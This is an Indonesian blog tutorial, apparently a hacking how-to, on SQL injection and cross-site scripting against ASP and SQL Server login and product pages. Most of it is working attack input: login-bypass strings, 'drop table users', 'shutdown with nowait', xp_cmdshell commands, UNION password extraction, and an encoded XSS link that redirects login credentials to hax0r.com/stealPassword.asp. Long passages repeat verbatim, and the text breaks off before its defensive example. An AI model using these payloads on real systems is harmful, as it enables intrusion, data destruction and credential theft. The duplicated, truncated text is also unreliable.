SQL Injection adalah sebuah teknik merubah perintah SQL yang ada untuk memperoleh akses ke data yang dilindungi atau bahkan mengeksekusi perintah yang menyangkut sistem pada suatu webserver.
Serangan ini mengandalkan rutin validasi input yang tidak dilindungi.
Seluruh Database merupakan komponen dasar dari aplikasi berbasiskan Web. Hal ini menjadikan website dapat menyimpan data seperti informasi user, rekaman pelanggan, berbagai form isian tertentu.
Aplikasi web yang interaktif berbasiskan database menggunakan Structured Query Language (SQL) yang secara dinamis berisikan data yang dikostumisasi sesuai kebutuhan user. Hal ini disempurnakan dengan aplikasi yang mengambil input user dan mengombinasikan dengan parameter statis untuk membangun sebuah
query SQL. Query ini biasanya digunakan untuk memanggil kembali data yang diminta dari database yang kemudian menyajikannya ke hadapan user.
Model keamanan seperti banyak digunakan pada aplikasi web dengan anggapan bahwa sebuah Query SQL adalah perintah yang dapat dipercaya. Artinya bahwa Query SQL mampu mencegah kendali akses, yang mana harus melalui otentikasi standar dan pemeriksaan otorisasi. Dalam beberapa hal, Query SQL mengijinkan akses ke perintah-perintah tingkat operating sistem pada suatu Host. (Wouuwww!!!)
Ekploitasi Yang Terjadi
Beberapa aplikasi yang tidak melakukan validasi dan/atau sanitasi data input user secara benar dapat dieksploitasi dengan beberapa cara:
Perubahan Nilai-nilai SQL
- Hubungan Berbagai Statement SQL
- Menambahkan fungsi pemanggilan dan penyimpanan prosedur ke sebuah statement
Peranan dan Hubungan pemanggilan data Contoh
- Perubahan Nilai-nilai SQLPada program Mysql-Query:
UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';
Pengaksesan melalui Browser:
http://www.target.com/script?pwd=ngomo&uid=1'+or+uid+like'%25admin%25';--
Contoh - Menghubungkan berbagai SQL Statement
Pada program PostgreSql-Query:
SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';
Pengaksesan melalui Browser:
http://www.target.com/script?0';insert+into+pg_shadow+usename+values+('hoschi');--
Contoh - Menambahkan fungsi calls dan stored-procedures ke sebuah statement Pada program MS SQL-Query:
SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';
Pengaksesan melalui Browser:
http://www.target.com/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c);--
Contoh - Peranan dan Hubungan pemanggilan data Pada Program DB2-Query:
SELECT id,t_nr,x_nr,i_name,last_update,size FROM p_table WHERE size = '$INPUT[size]';
Pengaksesan melalui Browser:
http://www.target.com/script?size=0'+union+select+'1','1','1',concat(uname||'-'|| passwd)+as+i_name+'1'+'1'+from+usertable+where+uname+like+'25
Beberapa Contoh Ekploitasi pada SQL Server :
Contoh #1
UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';
Pengaksesan melalui Browser:
http://www.target.com/script?pwd=ngomo&uid=1'+or+uid+like'%25admin%25';--
Contoh - Menghubungkan berbagai SQL Statement
Pada program PostgreSql-Query:
SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';
Pengaksesan melalui Browser:
http://www.target.com/script?0';insert+into+pg_shadow+usename+values+('hoschi');--
Contoh - Menambahkan fungsi calls dan stored-procedures ke sebuah statement Pada program MS SQL-Query:
SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';
Pengaksesan melalui Browser:
http://www.target.com/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c);--
Contoh - Peranan dan Hubungan pemanggilan data Pada Program DB2-Query:
SELECT id,t_nr,x_nr,i_name,last_update,size FROM p_table WHERE size = '$INPUT[size]';
Pengaksesan melalui Browser:
http://www.target.com/script?size=0'+union+select+'1','1','1',concat(uname||'-'|| passwd)+as+i_name+'1'+'1'+from+usertable+where+uname+like+'25
Beberapa Contoh Ekploitasi pada SQL Server :
Contoh #1
Microsoft SQL Server memiliki dialek tersendiri dalam SQL, yang mana menggunakan Transact SQL (TSQL). Dalam hal ini kita dapat mengekploitasi kehebatan dari TSQL dengan beberapa cara sekedar untuk menunjukkan cara kerja SQL Injection. Perhatikan query berikut ini, yang berbasiskan suatu table user :
select userName from users where userName='' having 1=1
Jika Anda adalah seorang programmer SQL yang mahir, maka andaakan menyadari bahwa query ini menimbulkan suatu error. Kita dapat dengan mudah membuat halaman login.asp suatu database sasaran, yang menggunakan pengecekan login berikut:
Username: ' having 1=1 –-
Password: [sembarang]
Sewaktu Anda mengclick tombol Submit untuk memulai proses login, query SQL menyebabkan script ASP menampilkan pesan berikut ini ke browser:
Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /login.asp, line 16
Wah wah. Hal ini terlihat pada pesan kesalahan yang mengatakanbahwa user tidak terotorisasi (tidak berhak) terdapat satu field dari database yang dicoba untuk divalidasi. users.username. Dengan menggunakan nama field ini, kita sekarang dapat menggunakan kata kuncinya SQL Server untuk login sebagai berikut:
Username: ' or users.userName like 'a%' –-
Password: [Sembarang]
sekali lagi, hal ini menghasilkan sebuah query SQL terinjeksi
yang ditampilkan terhadap table user tersebut.
select userName from users where userName='' or users.userName
like 'a%' --' and userPass=''
Mengingat kembali saat kita membuat table user, kita juga membuatkan seorang user yang field username sebagai admin dan field userpass password. Log in dengan username dan password seperti yang ditunjukkan diatas menggunakan kata kunci SQL query untuk mendapatkan username, query tersebut menangkap field username pada baris pertama yang field username-nya dimulai dengan huruf a, yang bisa jadi adalah admin:
Logged In As admin
Selamat login sebagai admin dech. (hehehe)
Contoh #2
SQL Server diantara database yang lain nya memisahkan query dengan sebuah semi- colon. Mengguankan sebuah semi-colon mengijinkan beberapa query untuk dikirimkan sebagai satu paket dan dieksekusi secara bergantian, sebagai contoh:
select 1; select 1+2; select 1+3;
... akan mengembalikan tiga recordset. Pertama berisikan nilai 1, kedua berisikan nilai 3, dan ketiga berisikan nilai 4 dst. Jadi, jika kita login dengan validasi berikut ini:
Username: ' or 1=1; drop table users; --
Password: [sembarang]
Kemudian query akan mengeksekusi dalam dua bagian. Pertama, akan memilih field username untuk slmuar baris dalam table user. Kedua, akan menghapus table user, hal ini berarti dilain waktu kita login, kita akan melihat error berikut ini:
Microsoft OLE DB Provider for SQL Server (0x80040E37)
Invalid object name 'users'.
/login.asp, line 16
Contoh #3
Contoh terakhir sehubungan dengan form login yang akan kita diskusikan adalah mengenai eksekusi dari perintah khusus TSQL dan ESP (Extended Stored Procedures) atau prosedur penyimpanan yang diperluas. Banyak situs yang menggunakan user account sistem default, yang sewaktu login ke SQL Server dari script
ASP mereka atau aplikasi lainnya. Secara default, user ini mengakses ke seluruh perintah dan dapat menghapus, mengganti nama dan menambahkan database, tabel, eksekusi program dsb.
Satu dari perintah SQL Server yang tergolong "Powerful" adalah SHUTDOWN WITH NOWAIT, yang akan menyebabkan SQL Server mati, menghentikan Windows Service. Untuk merestart SQL Server setelah perintah ini adalah perkara yang tidak mudah, Anda harus menggunakan SQL service manager atau beberapa metode lain dari proses restart SQL Server.
Sekali lagi, perintah ini dapat dieksploitasi dengan contoh login dibawah ini:
Username: '; shutdown with nowait; --
Password: [Sembarang]
menyebabkan script login.asp menjalankan query berikut ini:
select userName from users where userName=''; shutdown with nowait; --' and userPass=''
Jika user di set sebagai account sistem default, atau user memiliki hak istimewa, kemudian SQL server akan men shut down dan akan meminta sebuah start up sebelum akhirnya berfungsi lagi.
SQL Server juga termasuk beberapa ESP, yang mana berbasiskan khusus DLL C++ yang dapat berisi kode C/C++ untuk mamanipulasi command prompt, dsb. Seluruh ESP berada dibawah database master dan memiliki awalan "xp_".
Terdapat beberapa ESP yang dapat menyebabkan kerusakan fatal pada suatu sistem, dan dengan menggunakan form login dengan sebuah perintah terinjeksi sebagai username seperti dibawah ini:
Username: '; exec master..xp_xxx; --
Password: [Sembarang]
Kita dapat mengeksekusi ESP. Semua yang kita harus lakukan adalah mengambil ESP yang sesuai dan mengganti xp_xxx dengan nama dalam contoh diatas. ebagai contoh, jika IIS terinstal pada mesin yang sama dengan SQL Server, kemudian ktia akan merestartnya menggunakan ESP xp_cmdshell (dalam hal ini
mengeksekusi string perintah sebagai suatu perintah untuk Operating System) dan me reset IIS. Semua yang kita perlu lakukan hanyalah memasukkan validasi user pada halamanlogin.asp:
Username: '; exec master..xp_cmdshell 'iisreset'; --
Password: [Sembarang]
login ini akan mengirimkan query ke SQL server seperti berikut:
select userName from users where userName=''; exec master..xp_cmdshell 'iisreset'; --' and userPass=''
Seperti yang saya dan Anda duga, hal ini menyebabkan kerusakanserius dan dengan perintah yang sesuai dapat menyebabkan situs korban tidak berfungsi.
Contoh #4
OK, waktunya beralih dari melihat script login.asp dan sekarang menuju metode lain yang umum untuk menampilkan suatu serangan SQL injection.Betapa banyak waktu yang sudah Anda habiskan untuk sebuah
situs yang menjual suatu barang dan melihat URL seperti ini:
www.situsgue.com/products.asp?productId=2
Dengan jelas terlihat angka 2 adalah ID dari produk, dan banyak situs yang secara sederhana akan membuat query pada variabel querystring ProductID, sebagai berikut:
select prodName from products where id = 2
Sebelum kita lanjutkan, anggaplah kita mempunyai setup table
dan baris pada SQL Server:
create table products
(
id int identity(1,1) not null,
prodName varchar(50) not null,
)
insert into products(prodName) values('Chike Bum Bum')
insert into products(prodName) values('Topi Cap Kadal')
insert into products(prodName) values('Celana Cap Buaya')
Misalkan juga bahwa ktia membuat setup script ASP bernama products.asp:
(% dim prodId prodId = Request.QueryString("productId") set conn = server.createObject("ADODB.Connection") set rs = server.createObject("ADODB.Recordset") query = "select prodName from products where id = " & prodId conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; User Id=sa; Password=" rs.activeConnection = conn rs.open query if not rs.eof then response.write "Got product " & rs.fields("prodName").value else response.write "Barang tidak ditemukan" end if %)
Jadi jika kita melihat product.asp pada browser akan tampil
URL berikut:
http://www.situsgue.com/products.asp?productId=1
... kemudian kita akan melihat baris lanjutan dari teks pada browser
Got product Chike Bum Bum
Adanya pemberitahuan ini bahwa product.asp mengembalikan sebuah field dari recordset berdasarkan pada nama field:
response.write "Got product " & rs.fields("prodName").value
Walaupun terlihat lebih secure, sebenarnya tidak, dan kita masih dapat memanipulasi database tersebut, hanya berbekal tiga contoh diatas. Pemberitahuan produk diatas berdasarkan pada sebuah nilai numerik:
query = "select prodName from products where id = " & prodId
Halaman products.asp untuk pemesanan barang berfungsi secara benar, semuanya meminta nomor ID produk yang dijalankan sebagai variabel querystring productId. Hal inipun tidak terlalu menimbulkan masalah. Perhatikan URL berikut ini pada product.asp:
http://www.situsgue.com/products.asp?productId=0%20or%201=1
Adapun %20 dalam URL diatas mewakili sebuah URL-encode dari
karakter spasi, jadi URL yang sebenarnya terlihat seperti ini:
http://www.situsgue.com/products.asp?productId=0 or 1=1
Dengan bantuan halaman product.asp, query akan terlihat seperti ini:
select prodName from products where id = 0 or 1=1
Menggunakan secuil informasi diatas, mengetahui cara kerjanya dan beberapa URL-encoding, kita dapat saja dengan mudah mengambil nama field products dari tabel products tersebut. Seperti dibawah ini:
http://www.situsgue.com/products.asp?productId=0%20having%201=1
Hal ini akan menyebabkan error pada browser sebagai berikut:
Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'products.prodName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /products.asp, line 13
Nah, sekarang kita dapat mengambil nama field dari products (products.prodName) dan memanggil URL berikut ini pada browser:
http://localhost/products.asp?productId=0;insert%20into%20products(prodName)%20values(left(@@version,50))
disinilah query tanpa URL-encoded spasi:
http://localhost/products.asp?productId=0;insert into products(prodName) values(left(@@version,50))
Semestinya menampilkan pesan "No product found", bagaimanapun juga pesan ini dijalankan oleh suatu query INSERT pada tabel product, yang menambahkan 50 karakter pertama dari variabel @@version SQL server (yang berisikan detil dari versi SQL Server dsb.)
Dalam situasi sebenarnya, Anda akan menghadapi danmengeksploitasi tabel product lebih dari hal diatas, yang bisa saja memiliki selusin field yagn lain. Sekali lagi biarpun hal itu terjadi metode ini masih akan menghasilkan hal yang sama.
Untuk mendapatkan versi SQL Server, adalah hal yang mudah terjadi saat pemanggilan halaman products.asp dengan nilai masukan terakhir dalam tabel products. Seperti dibawah ini:
http://localhost/products.asp?productId=(select%20max(id)%20from%20products)
Apa yang query lakukan ini adalah menangkap ID dari baris akhir yang ditambahkan ke table products menggunakan fungsi statistik MAX dalam SQL Server. Menghasilkan baris baru yang berisikan rincian versi SQL Server:
Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
Teknik Cross Site Scripting?Cross Site Scripting adalah sebuah teknik serangan yang dijalankan saat sebuaH situs menampilkan user input pada browser yang tidak terdapat sanitasi data.
Kembali ke masalah username/password, field username biasanyaberisikan karakter alphanumerik. Penting sekali, nilai username/password berisikan tanda petik ('). Sebagai bagian dari proses sanitasi data dan memastikan bahwa user memasukkan karakter yang valid. Keharusan bahwa mengisi username dan password untuk mengakses database tidak berisikan karakter yang cacat, dapat melindungi database Anda dari serangan SQL Injection.
Vulnerabilitas yang terjadi sewaktu sebuah website menampilkan input user pada browser yang tidak memiliki sanitasi data. Cross Site Scripting biasanya dapat mencuri cookies, melakukan pengujian integritas data, dan menipu user untuk mengirimkan informasinya ke seorang hacker.
Alihkan perhatian Anda kembali ke contoh halaman Login yang kita uji sebelumnya dalam artikel ini. Bayangkan bahwa sistem login ini terdiri dari dua halaman, Pertama: Login.asp, yang berfungsi menampilkan form untuk user memasukkan username dan password mereka. Sedangkan yang Kedua: CekUser.asp, yang
bertugas memeriksa apakah username yang mereka masukkan tersebut valid atau tidak. Dalam kasus jika pengecekan username/password terjadi invalid, maka CekUser.asp menggunakan perintah Response. Redirect yang mengembalikan user ke halaman login.asp lagi, adapun string yang menampilkan pesan kesalahan seperti berikut:
CekUser.asp
If rs.eof then
'login username/password invalid
Response.Redirect("Login.asp?errorMessage=Invalid+username+or+password")
Else
'login sukses...
End If
Kemudian, pada Login.asp, Pesan kesalahan nilai querystring akan ditampilkan sebagai berikut:
teks yang berwarna merah jgn dicopy select userName from users where userName='' having 1=1
Jika Anda adalah seorang programmer SQL yang mahir, maka andaakan menyadari bahwa query ini menimbulkan suatu error. Kita dapat dengan mudah membuat halaman login.asp suatu database sasaran, yang menggunakan pengecekan login berikut:
Username: ' having 1=1 –-
Password: [sembarang]
Sewaktu Anda mengclick tombol Submit untuk memulai proses login, query SQL menyebabkan script ASP menampilkan pesan berikut ini ke browser:
Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /login.asp, line 16
Wah wah. Hal ini terlihat pada pesan kesalahan yang mengatakanbahwa user tidak terotorisasi (tidak berhak) terdapat satu field dari database yang dicoba untuk divalidasi. users.username. Dengan menggunakan nama field ini, kita sekarang dapat menggunakan kata kuncinya SQL Server untuk login sebagai berikut:
Username: ' or users.userName like 'a%' –-
Password: [Sembarang]
sekali lagi, hal ini menghasilkan sebuah query SQL terinjeksi
yang ditampilkan terhadap table user tersebut.
select userName from users where userName='' or users.userName
like 'a%' --' and userPass=''
Mengingat kembali saat kita membuat table user, kita juga membuatkan seorang user yang field username sebagai admin dan field userpass password. Log in dengan username dan password seperti yang ditunjukkan diatas menggunakan kata kunci SQL query untuk mendapatkan username, query tersebut menangkap field username pada baris pertama yang field username-nya dimulai dengan huruf a, yang bisa jadi adalah admin:
Logged In As admin
Selamat login sebagai admin dech. (hehehe)
Contoh #2
SQL Server diantara database yang lain nya memisahkan query dengan sebuah semi- colon. Mengguankan sebuah semi-colon mengijinkan beberapa query untuk dikirimkan sebagai satu paket dan dieksekusi secara bergantian, sebagai contoh:
select 1; select 1+2; select 1+3;
... akan mengembalikan tiga recordset. Pertama berisikan nilai 1, kedua berisikan nilai 3, dan ketiga berisikan nilai 4 dst. Jadi, jika kita login dengan validasi berikut ini:
Username: ' or 1=1; drop table users; --
Password: [sembarang]
Kemudian query akan mengeksekusi dalam dua bagian. Pertama, akan memilih field username untuk slmuar baris dalam table user. Kedua, akan menghapus table user, hal ini berarti dilain waktu kita login, kita akan melihat error berikut ini:
Microsoft OLE DB Provider for SQL Server (0x80040E37)
Invalid object name 'users'.
/login.asp, line 16
Contoh #3
Contoh terakhir sehubungan dengan form login yang akan kita diskusikan adalah mengenai eksekusi dari perintah khusus TSQL dan ESP (Extended Stored Procedures) atau prosedur penyimpanan yang diperluas. Banyak situs yang menggunakan user account sistem default, yang sewaktu login ke SQL Server dari script
ASP mereka atau aplikasi lainnya. Secara default, user ini mengakses ke seluruh perintah dan dapat menghapus, mengganti nama dan menambahkan database, tabel, eksekusi program dsb.
Satu dari perintah SQL Server yang tergolong "Powerful" adalah SHUTDOWN WITH NOWAIT, yang akan menyebabkan SQL Server mati, menghentikan Windows Service. Untuk merestart SQL Server setelah perintah ini adalah perkara yang tidak mudah, Anda harus menggunakan SQL service manager atau beberapa metode lain dari proses restart SQL Server.
Sekali lagi, perintah ini dapat dieksploitasi dengan contoh login dibawah ini:
Username: '; shutdown with nowait; --
Password: [Sembarang]
menyebabkan script login.asp menjalankan query berikut ini:
select userName from users where userName=''; shutdown with nowait; --' and userPass=''
Jika user di set sebagai account sistem default, atau user memiliki hak istimewa, kemudian SQL server akan men shut down dan akan meminta sebuah start up sebelum akhirnya berfungsi lagi.
SQL Server juga termasuk beberapa ESP, yang mana berbasiskan khusus DLL C++ yang dapat berisi kode C/C++ untuk mamanipulasi command prompt, dsb. Seluruh ESP berada dibawah database master dan memiliki awalan "xp_".
Terdapat beberapa ESP yang dapat menyebabkan kerusakan fatal pada suatu sistem, dan dengan menggunakan form login dengan sebuah perintah terinjeksi sebagai username seperti dibawah ini:
Username: '; exec master..xp_xxx; --
Password: [Sembarang]
Kita dapat mengeksekusi ESP. Semua yang kita harus lakukan adalah mengambil ESP yang sesuai dan mengganti xp_xxx dengan nama dalam contoh diatas. ebagai contoh, jika IIS terinstal pada mesin yang sama dengan SQL Server, kemudian ktia akan merestartnya menggunakan ESP xp_cmdshell (dalam hal ini
mengeksekusi string perintah sebagai suatu perintah untuk Operating System) dan me reset IIS. Semua yang kita perlu lakukan hanyalah memasukkan validasi user pada halamanlogin.asp:
Username: '; exec master..xp_cmdshell 'iisreset'; --
Password: [Sembarang]
login ini akan mengirimkan query ke SQL server seperti berikut:
select userName from users where userName=''; exec master..xp_cmdshell 'iisreset'; --' and userPass=''
Seperti yang saya dan Anda duga, hal ini menyebabkan kerusakanserius dan dengan perintah yang sesuai dapat menyebabkan situs korban tidak berfungsi.
Contoh #4
OK, waktunya beralih dari melihat script login.asp dan sekarang menuju metode lain yang umum untuk menampilkan suatu serangan SQL injection.Betapa banyak waktu yang sudah Anda habiskan untuk sebuah
situs yang menjual suatu barang dan melihat URL seperti ini:
www.situsgue.com/products.asp?productId=2
Dengan jelas terlihat angka 2 adalah ID dari produk, dan banyak situs yang secara sederhana akan membuat query pada variabel querystring ProductID, sebagai berikut:
select prodName from products where id = 2
Sebelum kita lanjutkan, anggaplah kita mempunyai setup table
dan baris pada SQL Server:
create table products
(
id int identity(1,1) not null,
prodName varchar(50) not null,
)
insert into products(prodName) values('Chike Bum Bum')
insert into products(prodName) values('Topi Cap Kadal')
insert into products(prodName) values('Celana Cap Buaya')
Misalkan juga bahwa ktia membuat setup script ASP bernama products.asp:
(% dim prodId prodId = Request.QueryString("productId") set conn = server.createObject("ADODB.Connection") set rs = server.createObject("ADODB.Recordset") query = "select prodName from products where id = " & prodId conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; User Id=sa; Password=" rs.activeConnection = conn rs.open query if not rs.eof then response.write "Got product " & rs.fields("prodName").value else response.write "Barang tidak ditemukan" end if %)
Jadi jika kita melihat product.asp pada browser akan tampil
URL berikut:
http://www.situsgue.com/products.asp?productId=1
... kemudian kita akan melihat baris lanjutan dari teks pada browser
Got product Chike Bum Bum
Adanya pemberitahuan ini bahwa product.asp mengembalikan sebuah field dari recordset berdasarkan pada nama field:
response.write "Got product " & rs.fields("prodName").value
Walaupun terlihat lebih secure, sebenarnya tidak, dan kita masih dapat memanipulasi database tersebut, hanya berbekal tiga contoh diatas. Pemberitahuan produk diatas berdasarkan pada sebuah nilai numerik:
query = "select prodName from products where id = " & prodId
Halaman products.asp untuk pemesanan barang berfungsi secara benar, semuanya meminta nomor ID produk yang dijalankan sebagai variabel querystring productId. Hal inipun tidak terlalu menimbulkan masalah. Perhatikan URL berikut ini pada product.asp:
http://www.situsgue.com/products.asp?productId=0%20or%201=1
Adapun %20 dalam URL diatas mewakili sebuah URL-encode dari
karakter spasi, jadi URL yang sebenarnya terlihat seperti ini:
http://www.situsgue.com/products.asp?productId=0 or 1=1
Dengan bantuan halaman product.asp, query akan terlihat seperti ini:
select prodName from products where id = 0 or 1=1
Menggunakan secuil informasi diatas, mengetahui cara kerjanya dan beberapa URL-encoding, kita dapat saja dengan mudah mengambil nama field products dari tabel products tersebut. Seperti dibawah ini:
http://www.situsgue.com/products.asp?productId=0%20having%201=1
Hal ini akan menyebabkan error pada browser sebagai berikut:
Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'products.prodName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /products.asp, line 13
Nah, sekarang kita dapat mengambil nama field dari products (products.prodName) dan memanggil URL berikut ini pada browser:
http://localhost/products.asp?productId=0;insert%20into%20products(prodName)%20values(left(@@version,50))
disinilah query tanpa URL-encoded spasi:
http://localhost/products.asp?productId=0;insert into products(prodName) values(left(@@version,50))
Semestinya menampilkan pesan "No product found", bagaimanapun juga pesan ini dijalankan oleh suatu query INSERT pada tabel product, yang menambahkan 50 karakter pertama dari variabel @@version SQL server (yang berisikan detil dari versi SQL Server dsb.)
Dalam situasi sebenarnya, Anda akan menghadapi danmengeksploitasi tabel product lebih dari hal diatas, yang bisa saja memiliki selusin field yagn lain. Sekali lagi biarpun hal itu terjadi metode ini masih akan menghasilkan hal yang sama.
Untuk mendapatkan versi SQL Server, adalah hal yang mudah terjadi saat pemanggilan halaman products.asp dengan nilai masukan terakhir dalam tabel products. Seperti dibawah ini:
http://localhost/products.asp?productId=(select%20max(id)%20from%20products)
Apa yang query lakukan ini adalah menangkap ID dari baris akhir yang ditambahkan ke table products menggunakan fungsi statistik MAX dalam SQL Server. Menghasilkan baris baru yang berisikan rincian versi SQL Server:
Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
Teknik Cross Site Scripting?Cross Site Scripting adalah sebuah teknik serangan yang dijalankan saat sebuaH situs menampilkan user input pada browser yang tidak terdapat sanitasi data.
Kembali ke masalah username/password, field username biasanyaberisikan karakter alphanumerik. Penting sekali, nilai username/password berisikan tanda petik ('). Sebagai bagian dari proses sanitasi data dan memastikan bahwa user memasukkan karakter yang valid. Keharusan bahwa mengisi username dan password untuk mengakses database tidak berisikan karakter yang cacat, dapat melindungi database Anda dari serangan SQL Injection.
Vulnerabilitas yang terjadi sewaktu sebuah website menampilkan input user pada browser yang tidak memiliki sanitasi data. Cross Site Scripting biasanya dapat mencuri cookies, melakukan pengujian integritas data, dan menipu user untuk mengirimkan informasinya ke seorang hacker.
Alihkan perhatian Anda kembali ke contoh halaman Login yang kita uji sebelumnya dalam artikel ini. Bayangkan bahwa sistem login ini terdiri dari dua halaman, Pertama: Login.asp, yang berfungsi menampilkan form untuk user memasukkan username dan password mereka. Sedangkan yang Kedua: CekUser.asp, yang
bertugas memeriksa apakah username yang mereka masukkan tersebut valid atau tidak. Dalam kasus jika pengecekan username/password terjadi invalid, maka CekUser.asp menggunakan perintah Response. Redirect yang mengembalikan user ke halaman login.asp lagi, adapun string yang menampilkan pesan kesalahan seperti berikut:
CekUser.asp
If rs.eof then
'login username/password invalid
Response.Redirect("Login.asp?errorMessage=Invalid+username+or+password")
Else
'login sukses...
End If
Kemudian, pada Login.asp, Pesan kesalahan nilai querystring akan ditampilkan sebagai berikut:
jika anda mengkopi script dibawah ini ganti tanda ( ) dengan tanda < > agar terbaca
Login.asp
(form method="POST" action="CekUser.asp")
(!-- Tampilkan pesan kesalahan --)
(%=request.querystring("errorMessage")%)
Username: (input type="text" name="UserName")(br)
Password: (input type="password" name="Password")(br)
(input type="submit" name="submit" value="log in!")
(/form)
Teknik pemrograman ini sangat tidak aman, jika user berusaha login secara invalid, mereka akan kembali ke halaman Login.asp dan ditampilkan sebuah pesan pendek yang menjelaskan bahwa login yang mereka adalah invalid. Namun bagi seorang hacker yang berpengalaman, hal ini dapat menyatakan bahwa dia dapat saja merubah kode HTML yang sesungguhnya dari halaman yang menampilkan pesan kesalahan tersebut. Sebagai contoh, dia melakukan login menggunakan url berikut ini:
http://www.namadomain.com/Login.asp?errorMessage=
Sang Hacker dengan sangat pandainya memasukkan beberapa kode HTML ke halaman ini hingga datanglah seorang user yang rada-rada lugu (atau pura-pura lugu) mengunjungi halaman yang terdapat nilai querystring pesan kesalahan, user ini memasukkan username dan password yang secara otomatis dikirimkan ke halaman http://www.hax0r.com/stealPassword.asp. (form method="POST" action="CekUser.asp")
(!-- Tampilkan pesan kesalahan --)
(%=request.querystring("errorMessage")%)
Username: (input type="text" name="UserName")(br)
Password: (input type="password" name="Password")(br)
(input type="submit" name="submit" value="log in!")
(/form)
Teknik pemrograman ini sangat tidak aman, jika user berusaha login secara invalid, mereka akan kembali ke halaman Login.asp dan ditampilkan sebuah pesan pendek yang menjelaskan bahwa login yang mereka adalah invalid. Namun bagi seorang hacker yang berpengalaman, hal ini dapat menyatakan bahwa dia dapat saja merubah kode HTML yang sesungguhnya dari halaman yang menampilkan pesan kesalahan tersebut. Sebagai contoh, dia melakukan login menggunakan url berikut ini:
http://www.namadomain.com/Login.asp?errorMessage=
Sekarang, Sang hacker dapat mengirimkan sebuah link untuk membuat halaman via sebuah pesan email atau sebuah link dari beberapa situs forum diskusi atau apa sajalah, mengharapkan ada seorang user dari situs ini akan mengklik klik dan mencoba untuk login. Tentu saja, pada saat login, user tersebut akan mengirimkan data ke situs sang hacker. (Tepatnya terjadi Encoding dari nilai querystring yang menampilkan pesan kesalahan akan menjadi seperti ini:
http://www.namadomain.com/login.asp?errormsg=%3C%2Fform%3E%3Cform+method%3D%22POST%22+action%3D%22http://www%2Ehax0r%2Ecom%2FstealPassword%2Easp%22%3E.)
Sang hacker akan keluar menjadi "pemenang". Jika dia menemukan seseorang yang tertipu oleh teknik ini, Klik linknya, kunjungi situs tertentu untuk login, namun informasi username/password akan terkirim ke situs Sang hacker. :(
Bagaimana cara melindungi data dari Cross Site Scripting? Melindungi data terhadap suatu serangan Cross Site Scripting relatif sederhana : yaitu menggunakan metode
Server.HtmlEncode. Metode ini akan mengambil suatu string dan mengganti karakter apapun yang browser coba menginterpretasikannya dengan HTML encoding, jadi pada browser akan tercetak berbagai karakter ke layar. Perhatikan contoh dibawah ini:
0 komentar:
Posting Komentar